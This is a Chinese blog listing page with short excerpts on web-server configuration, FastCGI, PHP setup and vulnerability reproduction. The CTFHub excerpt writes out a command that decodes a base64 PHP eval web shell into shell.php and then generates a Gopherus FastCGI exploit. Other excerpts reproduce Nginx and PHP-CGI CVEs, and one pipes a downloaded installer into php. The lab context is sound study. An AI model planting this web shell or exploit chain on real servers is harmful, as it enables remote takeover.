• 2024-09-29Apache伪静态出现页面无法正常访问处理
    默认规则:apache RewriteRule^(.*)$index.php/$1[QSA,PT,L]这条规则适用于Apache采用模块化运行方式的情况。当请求URL不是目录或文件时,将所有请求重写为index.php/$1。备用规则:apache RewriteRule^(.*)$index.php[E=PATH_INFO:$1,QSA,PT,L]这条
  • 2024-09-27宝塔Nginx开启fastcgi_cache分别缓存WordPress移动和pc端
    FastCGI_cache是Nginx的缓存模块,能够从Nginx层面实现网页静态化,有效提高网站的并发能力、减少PHP运行时间和请求响应时间,大大提升页面加载速度。Fastcgi_cache能够直接在nginx层面提供缓存内容,而无需涉及PHP或WordPress,在没有第三方广告情况下加速效果很不错!网上不少此教程,但是没
  • 2024-09-26CGI和FastCGI
    CGI通用网关接口CGI(CommonGatewayInterface)和快速通用网关接口FastCGI(FastCommonGatewayInterface/FastCGI)都是是接口规范。是服务器与外部程序(如脚本或应用)之间通信的一种方式,最早被设计用于执行各种服务器端脚本。是服务器与外部可执行程序进行交互的桥梁。CGI(CommonGate
  • 2024-08-20dokuwiki创建超过22个用户时用户管理器502报错的解决方法
    Dokuwiki超过22个用户时用户管理器502报错解决当DokuWiki启用了[ldaplocalauth]方式认证,并且创建的用户超过22个时,再次打开用户管理器浏览器会收到Nginx返回的502BadGateway报错。这个问题通常是由于Nginx的fastcgi缓存或头部缓冲区大小不足以处理从后端服务器(如PHP-FPM)接收
  • 2024-08-16PbootCMS伪静态配置让整个地址更美观
    标签作用:配置程序伪静态后URL中将不再包含index.php,整个地址更美观1、IIS环境(IIS6的环境自行百度):1)安装rewrite组件,如果使用空间一般空间商默认已经安装;2)到后台配置参数中开启伪静态开关(老版本直接修改程序config/config.php文件url_type=2);3)在站点目录建立web.config文件
  • 2024-08-05Typecho在Ubuntu 22.04上的安装部署
    安装Nginx并配置访问安装PHP并输出脚本结果配置typechoNginx安装并验证aptinstallnginxsystemctlstartnginx正常情况应该可以看到Nginx的欢迎页面了,如果看不到就是防火墙的问题,设置下防火墙放通即可。安装PHP并使用Nginx代理aptinstallphp-fpmphp-curlphp-gd
  • 2024-07-29thinkphp: 安装fastadmin
    一,官方地址:1,官方站:https://www.fastadmin.net/2,文档地址:https://doc.fastadmin.net/docs/install.html 二,安装:1,下载:下载地址:https://www.fastadmin.net/download.html如图2,解压fastadmin安装包到服务器,并解压:liuhongdi@lhdpc:/data/site/admin/fast$u
  • 2024-07-27【PHP系列】phpinfo里面有什么?
    一、INFO_GENERAL:一般信息1.1版本1.2操作系统版本和SAPI原创猎豹安全中心小豹讲安全2021-05-2514:30在PHP中,我们往往通过phpinfo()函数(及可选选项)来检查配置设置和预定义变量,返回结果输出关于PHP的配置信息,其中包含了PHP编译选项、启用的扩展、PHP版本、服务器信息
  • 2024-07-26【CTFHub】FastCGI协议
    第一步:开启环境后,打开kali虚拟机,第二步:生成一句话木马echo"PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+"|base64-d>shell.php第三步:Gopherus-master工具文件中打开终端,输入以下代码python2gopherus.py--exploitfastcgi 第四步将kali里面生成的代码复制进CTF在
  • 2024-07-26Web 服务器配置文档
    Web服务器配置文档1.概述本文档旨在描述Web服务器的配置方法,包括安装、配置和基本维护。适用范围:所有使用此Web服务器的开发人员和运维人员。目标:提供详细的配置步骤,方便新用户快速上手。确保Web服务器安全、稳定、高效运行。2.安装2.1准备工作操作系
  • 2024-07-26Ubuntu 使用nginx部署thinkphp8配置
    server{listen80;server_nameemall.alliky.cn;root/var/www/html/EMALL_EVTP8_SERVER/public;indexindex.phpindex.htmlindex.htm;#防止文件缓存location~*\.(css|js|jpg|jpeg|png|gif|ico|woff|woff2|css.map|js.map|txt)${expires14d;add_headerC
  • 2024-07-22LNMP
    搭建LNMP动态网站:在不同环境下访问,网站环境又可能变化静态网站:在不同环境下访问,网站环境不会变化【1】、搭建LNMPL:LinuxN:nginxM:Mariadb/MysqlP:PHP/PythonLNMP:也被称为动静分离#安装nginxroot@proxy[05:08:54]:/opt/nginx-1.24.0$./configure&&make&&makeins
  • 2024-06-30LNMP
    LNMPFastCGICGI的由来:最早的Web服务器只能简单地响应浏览器发来的HTTP请求,并将存储在服务器上的HTML文件返回给浏览器,也就是静态html文件,但是后期随着网站功能增多网站开发也越来越复杂,以至于出现动态技术,比如像php(1995年)、java(1995)、python(1991)语言开发的网站,但是nginx/
  • 2024-06-18[面试题]Nginx
    [面试题]Java【基础】[面试题]Java【虚拟机】[面试题]Java【并发】[面试题]Java【集合】[面试题]MySQL[面试题]Maven[面试题]SpringBoot[面试题]SpringCloud[面试题]SpringMVC[面试题]Spring[面试题]MyBatis[面试题]Nginx请解释一下什么是Nginx?Nginx,是一个Web服务
  • 2024-06-17wnmp安装配置记录(重装系统重置后)
    一、windows10二、nginx安装与配置nginxnews开源网站下载稳定版本1.nginx下载完成解压,即安装成功2.进入安装目录,双击nginx.exe,启动nginx服务器3.浏览器中打开http://localhost,出现nginx欢迎页面即为成功 三、安装配置php1、进入PHP官网下载最新稳定版本,windows64位,非线
  • 2024-06-03使用docker-compose建立一个简陋的文件上传网站
    闲聊因为目前在学校,有时候懒得带U盘,机房的电脑没有ssh,自然也就没有scp了,所以闲来无聊就做个文件上传顺便练练技术。最后弄了两天才弄好,最后又因为我服务器带宽那些太小没法传大文件,最后也算是小白练练技术吧。正文这次的实验是用nginx+php做的,docker-compose做托管相关代码
  • 2024-05-30nginx fastcgi_buffers 缓存
    nginxfastcgi_buffers设置打开nginx的warn级别error_log,看到如下信息:2011/04/2317:24:08[warn]9639#0:*44anupstreamresponseisbufferedtoatemporaryfile/tmp/fastcgi_temp/8/0/0000000008whilereadingupstream,client:118.118.118.118,server:sealing
  • 2024-05-29Docker部署php运行环境
    编写docker-compose.yml配置文件,使用nginx作为web服务器,转发php的请求。version:"3"services:web:image:nginx:stable-alpineports:-"8081:80"volumes:-./nginx/www:/usr/share/nginx/html-./nginx/conf.d:/etc/nginx/conf
  • 2024-05-20Linux下安装PHP环境
    Tips:当你看到这个提示的时候,说明当前的文章是由原emlog博客系统搬迁至此的,文章发布时间已过于久远,编排和内容不一定完整,还请谅解`Linux下安装PHP环境日期:2018-5-7阿珏教程浏览:2016次评论:0条学习环境:Centos7.2正式版_64位#更新源yumupdate#安装nginxyuminstall
  • 2024-05-14一个有趣的想法,没有fastcgi的php-fpm之前,php的框架是什么的?
    2024年5月14日10:14:47cgi规范https://www.rfc-editor.org/rfc/rfc3875w3chttps://www.w3.org/CGI/fastcgi细节说明https://www.mit.edu/~yandros/doc/specs/fcgi-spec.htmlSAPI的全称是ServerApplicationProgrammingInterface就是服务器应用程序接口PHP的SAPI模块方
  • 2024-05-06cgi与fast_cgi
    CGI(CommonGatewayInterface,通用网关接口)是一种用于将Web服务器与其他程序(或脚本)进行交互的标准协议。通过CGI,Web服务器可以调用外部程序来处理用户请求,并将结果返回给客户端然而,CGI也存在一些性能和效率方面的问题。每个客户端请求都需要启动一个新的进程或线程来处理,这会导致
  • 2024-04-07Nginx 文件名逻辑漏洞(CVE-2013-4547)复现
    漏洞原理影响范围:Nginx0.8.41~1.4.3影响范围:Nginx1.5.0~1.5.7Nginx在解析php文件的时候通常在配置文件中如下配置location~\.php${roothtml;includefastcgi_params;fastcgi_passphp:9000;
  • 2024-04-07Nginx 解析漏洞复现
    该漏洞与php和nginx版本无关,是配置错误导致的问题漏洞描述通常在nginx.conf的配置文件或者include包含的其他配置文件下有以下信息location~\.php${fastcgi_indexindex.php;includefastcgi_params;fastcgi_paramR
  • 2024-04-06PHP-CGI远程代码执行漏洞(CVE-2012-1823)
    影响版本:php<5.3.12orphp<5.4.2cgi、fastcgi、fpm下载PHP源码,可以看到其中有个目录叫sapi。sapi在PHP中的作用,类似于一个消息的“传递者”最常见的sapi应该是用于Apache的mod_php,这个sapi用于php和apache之间的数据交换php-cgi也是一个sapi。在远古的时候,web应用的运
  • 2024-03-30yii2安装
    yii2安装安装composercurl-sShttps://getcomposer.org/installer|phpmvcomposer.phar/usr/local/bin/composer安装yii2-basiccomposercreate-project--prefer-dist--stability=devyiisoft/yii2-app-basicyii2-basicnginx配置server{listen